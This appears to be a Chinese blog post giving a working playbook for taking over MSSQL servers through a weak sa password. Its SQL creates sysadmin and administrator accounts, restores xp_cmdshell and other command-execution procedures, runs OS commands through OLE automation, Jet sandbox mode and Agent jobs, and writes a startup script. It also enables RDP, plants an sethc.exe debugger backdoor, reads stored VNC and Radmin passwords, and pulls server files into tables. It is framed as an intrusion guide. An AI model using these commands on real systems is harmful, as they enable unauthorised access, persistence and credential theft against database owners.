MSSQL Sa账户弱口令利用总结

一般拿到mssql的sa密码,或者遇到sa权限的注入点.可以尝试用sql连接器进行连接.如果不能外连,可以建立一个属于sysadmin组,可以远程登录的帐号进行控制.简单示例如下:

EXEC SP_ADDLOGIN 'hsren','123456','master' ;
EXEC SP_ADDSRVROLEMEMBER 'hsren','sysadmin';

这样,我们就建立了一个属于sysadmin组的sql登录 hsren 密码123456. 在mssql注入中遇到sa权限,不知道sa密码,我们也可以这样建立个用户,比较容易操作.操作以前,我们最好连接下1433端口,看是否开启.其实实际过程中,很多有放火墙阻止了1433端口的,还有一些更改端口为其他端口的,还有内网数据库等等.到时候端口转发,端口复用等,这里暂不考虑,.本文着重记录一些常见的mssql 空口令技巧.

其实mssql利用工具,网上有好多下载.很多版本都挺好用的,而且各有特色.这里不一一介绍了,简单说下我偶尔用到的几个工具,xrou写的sql tools,还有蓝色光芒写的sql综合利用工具.

xrou写的sql tools 功能比较强大,包括五种执行cmd命令的方式,执行sql语句,列目录,上传文件和查看文件内容等.蓝色光芒的sql综合利用工具,增加sql 帐号和注册表管理功能比较实用.其实工具是死的,这里不多加介绍,下面我们用sql查询器直接进行连接.

首先查看mssql版本和系统版本.?select @@version?一般用来查看mssql版本,因为sql2008 sql2005 sql2000 个别语法不相同,本文主要针对sql2000进行记录.

首先,我们进入master数据库,因为sql只有在master数据库中才能执行xp_cmdshell存储过程. user master; 然后F5 执行. 想用1、2、3、来记录后来想到自己的思想混乱和文笔,还是算了,随手记忆吧!

第一步尝试运行cmd命令,有了cmd命令,方便我们进一步的入侵!mssql有很多功能强大的存储过程,也许是太强大了,正是这些存储过程带给了我们数不清的机会!说道cmd命令,首当其冲的,是xp_cmdshell这个存储过程!

说下如何判断某个存储过程是否存在. 我们直接执行 sql语句判断存储扩展是否存在:

select count(*) from master.dbo.sysobjects where xtype='x' and ame='xp_cmdshell'

返回结果为1就ok . 0就是不存在.我们查询什么扩展更改蓝色字体部分的xp_cmdshell即可.

xp_cmdshell,以操作系统命令行解释器的的方式执行给定的字符串,并以文本方式返回.授予非管理员用户执行cmdshell的权限语法为xp_cmdshell {‘command_srting’}[,no_output];具体应用也不多作解释了!因为mssql太强大了,随便每个存储过程都可以用几页文章来形容.还是记录一些常用的命令就好了.
Exec Xp_cmdshell ‘whoami’]

我一般用这个用户作为test语句!当然很多朋友可能都习惯用net user 添加用户!还是那句话,管理员的安全水平越来越提高!sql服务的sa默认是system权限,但是很多有经验的管理员都会把权限降低为nt authority\network service. 有经验的管理员会把net.exe net1.exe cacls.exe 等危险的exe都禁止system访问!当然了xp_cmdshell这么危险的组件也不会保存!而whoami.exe这个命令一般不会被特别的设置权限,所以我们可以判断,xp_cmdshell是否禁止,mssql的运行权限是什么!

下面分2个话题说,第一个,恢复xp_cmdshell;第二个,在sa没有特权的时候,我们该做什么!

先说第一个!

恢复xp_cmdshell,网上关于这类话题的讨论很多!由于本文是记录给自己看的,不能图文并茂,就大概记录一下!

1、提示SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘xp_cmdshell’。有关启用 ‘xp_cmdshell’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”. 这是mssql2005以上的默认配置!开启mssql2005 xp_cmdshell存储过程的语法为:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

大概就是开启高级选项!设置xp_cmdshell为1就是开启,关闭设置为0就可以了!也给出语句,方便我们利用后恢复!

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int

第二步执行:

sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' ;

3、无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)?

第一步执行:

sp_dropextendedproc "xp_cmdshell"

第二步执行:

sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

4、无法在库 xplog70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
第一步执行:

exec sp_dropextendedproc 'xp_cmdshell'

第二步执行:

exec sp_addextendedproc 'xp_cmdshell','D:\hsren\xpsql70.dll'

上面所有命令都输入以后点F5执行.简单说下,第二种找不到存储过程,我们直接添加这个存储过程.xplog70.dll 是xp_cmdshell存储过程要用到的dll文件.第三个是说有存储过程,但是里面的xp_cmdshell存储过程不存在dll里面,我们首先删除这个存储过程,然后重新创建.第四个是说在dll里找不到xp_cmdshell,或者找不到dll的时候,我们自己上传dll 然后删除原来的用我们上传的dll来恢复.

5、如果sp_addextendedproc不存在,也就无法进行存储过程的添加了!这里记录两种方法。第一种是直接恢复xp_cmdshell扩展,不用理会sp_addextendedproc是否存在!具体语句如下:
首先删除

drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'

然后恢复

dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

以上的例子只恢复了2种可以执行cmd命令的存储过程,包括下文要说的一些扩展都能利用此种方法恢复!下面就不再赘述了!

第二种是,用sql语句恢复sp_dropextrndedproc. 该语句是从dll里直接提取的.大家可以另外提取一些其他的函数,这些不在本文讨论范围中.sql语句如下:

create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO

执行完毕以后,我们的sp_addextendedproc就可以用了,我们就可以添加各种存储过程了.
6、还有一种,错误 5 来自 CreateProcess .那样是net.exe的权限问题!我们可以用其他的一些扩展办法,比如上传net.exe 等等吧!直接运行一个shell.exe之类的!
上面简单介绍了一些关于xp_cmdshell的恢复和应用!可以执行cmd命令的话.开启3389运行后门,添加用户!这些事情大家自由发挥,我就不多废话了!下面说下xp_cmdshell不能执行的时候,我们可以用来执行cmd的两个存储过程!sp_oacreate 实例上创建OLE对象实例! sp_oamethod 调用ole对象的方法!一个创建一个调用方法去实现,功能可见一斑.应用很广泛.我们只说下cmd命令的应用.其他的大家可以自己去尝试. 这2个存储过程,添加和恢复参照上文的xp_cmdshell,唯一不同的就是dll的名称为odsole70.dll. 这两个存储过程基本语法如下:

sp_OACreate progid, | clsid,
    objecttoken OUTPUT
     [ , context ]
sp_OAMethod objecttoken,
    methodname
     [, returnvalue OUTPUT]
     [ , [ @parametername = ] parameter [ OUTPUT ]
     [...n]]

具体参数说明大家baidu 下. 下面给出创建一个adduser.vbs到启动目录下,运行后利用wscript.shell 执行cmd命令添加一个属于administrators 组的 用户hsren 密码123456的实例.

declare @o int, @f int,@ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'C:\Documents and Settings\All Users\「开始」菜单\程序\启动\adduser.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 'set wshshell=createobject("wscript.shell")'
exec @ret = sp_oamethod @f, 'writeline', NULL, 'a=wshshell.run ("cmd.exe /c net user hsren 123456 /add",0)'
exec @ret = sp_oamethod @f, 'writeline', NULL, 'b=wshshell.run ("cmd.exe /c net localgroup administrators hsren /add",0)'

不知道能不能看懂,如果你baidu了这2个存储过程的用法,应该能懂.再来个简简单单,执行cmd命令的,这样应该方便大家了解.

declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'net start telnet'

现在,大家对这个应该了解了,实际过程中,我们可以利用这2个函数来执行注册表,写入一句话脚本木马,读写文件(比如servu ftp配置文件)等等很多事情.
不详细说了,记录到执行命令,不得不提的就是沙盒模式执行cmd.说到沙盒模式,因为默认沙盒模式,没有开启,我们必须提到一个xp_regwrite存储过程.而注册表的一些存储过程,我们又可以用来做好多事情,比如查看配置,新建服务,新建启动项之类的.先说沙盒模式提权吧.具体命令如下:

exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

首先开启沙盒模式.下面加用户hsren 密码 123456.

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user hsren 123456 /add")');

大概就是这个样子了,需要注意的是,有时候ias.mdb不一定可以用,system32下面有2个mdb可以使用的,如果再不行,可以再找别的或者自己上传.其实运行沙盒模式,也许到过很多的错误,不过今天记录的时候,却忘记了.总是大家自己看着错误提示,寻找解决办法.注意蓝色字体,大家可以自行修正成自己的命令,和mdb路径比如 c:\windows\system32\ias\dnary.mdb.
再说说启动SQLSERVERAGENT 通过JOB执行cmd.大概就是如果服务器可以开启sqlseveragnet ,然后我们可以通过添加任务来执行cmd.具体的大家可以baidu 下. 贴出一个典型的利用语句:

execmaster.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

首先启动服务. 接着添加执行cmd命令的job.

use msdb exec sp_delete_job NULL,'x'
execsp_add_job 'x'
execsp_add_jobstep NULL,'x',NULL,1,'CMDEXEC','cmd /c net user hsren 123456 /add'
execsp_add_jobserverNULL,'x',@@servername
execsp_start_job 'x'

上面的例子中,我们同样添加了一个用户.简单解释下. 首先使用msdb数据库, 然后删除名为x的job, 然后新建个job x 执行cmdexec , 添加job执行的服务器.启动job x. 大概了解就好了.
在简单介绍一种执行cmd命令的方法.xrou写的sql利用工具有个安装diyshell的功能.原理就是,利用添加存储过程,添加一个我们自己写的存储过程到服务器.然后调用这个存储过程来执行cmd.其实可以做任何事情.简单介绍下,日后有时间,可以自己写个然后给大家分享.
cmd说到这里告一段落了.其实一个system权限的cmdshell还有什么不能做的呢.运行程序.上传下载.开启远程终端,添加用户等等. 值得一提的就是文件上传,我记得看过一篇文章写着sa上传文件八法.大家可以参考下.有时间我专门整理下上传文件的文章.
说到开启3389,用我们刚才开启沙盒的xp_regwrite直接可以修改注册表打开3389. 具体语句为:

exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--

写注册表,在启动项目,直接操作注册表sam项,这些具体利用就不写了.xp_regwrite没有启动,可以参考上面cmdshell的恢复方法.不同的是注册表操作的这几个存储过程默认的 dll文件名字为xpstar.dll .
说到注册表,不得不提到一系列的函数xp_regread xp_regenumkeys xp_regenumvalues xp_regremovemultistring xp_regdeletekey xp_regdeletevalue 等函数. 他们提供了注册表的列举,查看,修改和删除.我们可以查看注册表的软件配置, 删除ipsec安全策略,修改软件启动.劫持文件启动镜像等等.着重说说如果mssql降权了,没有特殊权限的提权方式. 这时候可以利用xp_regread读取一些配置文件.读取保存在注册表中的密码,来获得权限的提升.比较常用的是vnc,radmin等.因为vnc的加密方式可逆,并且保存在注册表中.我们可以把密码读出来. 语句如下:

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter'
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Port'
exec master.dbo.xp_regread 'HKEY_CURRENT_USER','Software\ORL\WinVNC3','Password'
exec master.dbo.xp_regread 'HKEY_CURRENT_USER','Software\ORL\WinVNC3','PortNumber'
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\RealVNC\WinVNC4','Password'
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\RealVNC\WinVNC4','PortNumber'

类似如此,有当我们不知道vnc安装在哪里的时候可以通过xp_regenumkeys xp_regenumvalues 来读取.如果只有guest权限,我想我们能做的也只有这些了.以下语句记录一下.劫持sethc.exe的注册表镜像,通过xp_regwrite的.例子中,我们把sethc.exe 用资源管理器劫持了,登陆3389 5shift 就运行explorer.exe了.本文只是介绍个方法.同样你可以把explorer替换为任务管理器,cmd.exe.也可以不替换sethc.exe可以替换win放大镜文件.登陆3389 win+U就弹出.我想注册表,也告一段落吧.

exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\explorer.exe'';

接下来说说xp_availablemedia 显示系统上可用的磁盘驱动器 和 xp_dirtree 显示某个目录下的子目录与文件架构.dbo.xp_subdirs 只列某个目录下的子目录.xp_getfiledetails 获取某个档案的相关属性. 很简单的,这两个函数注入中,我们经常使用,现在他可以叫我们查看服务器上有什么文件和目录.没什么技术含量不写例子了.写下如何查看文件内容吧.如果可以使用cmdshell, 我建议使用type 命令来查看.如果不可以,那我们使用把文件内容插入数据库的表里,然后来读取文件内容.代码如下:

#建立一个临时表

create table #testtable(
context ntext );
select * from #testtable

#将本地文件写入表中

BULK INSERT #testtable FROM 'c:\1111.txt'
WITH (
    DATAFILETYPE = 'char',
    KEEPNULLS
)
--drop table #testtable;

需要注意的是我们必须有BULK INSERT 权限才可以.我们是sa,可以不用考虑这个问题.查看文件内容还有好多办法.有兴趣的自己去看下mssql的一些文章. 我很少写东西,写一天了还没写完,有点烦了.随便结个尾吧.以后想到再来详细补充. 大家看看这几个函数: xp_servicecontrol 激活或者停止某个服务; xp_terminate_process 停止某个进程的pid. sp_helpextendedproc 可以用来查看哪个 存储过程用到了哪个dll.
其实还有一些存储过程,比如sp_makewebtask 可以用来写入一句话木马. 我想把一些注入中用到的存储过程,改在注入总结篇中总结. 本文只是大概记录了一些本人在网络学习到,和自己常用到的一些小经验.其实sa的利用方式还是很多,想到再补充,大家想到什么好的利用方式,也可以和我交流.
本来想写个记录帖子的,写一半把性质给忘记了.其实真的sa可以执行cmd.那么我们能做的事情好多了,我一句一句的纪录如何开始3389 如何导入文件到表内 导出为文件,如何执行就没意思了.好了,就写到这里了. 想到什么再补充什么.

CC BY-NC-SA 4.0 MSSQL Sa账户弱口令利用总结 by 桔子小窝 is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.

发表回复

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据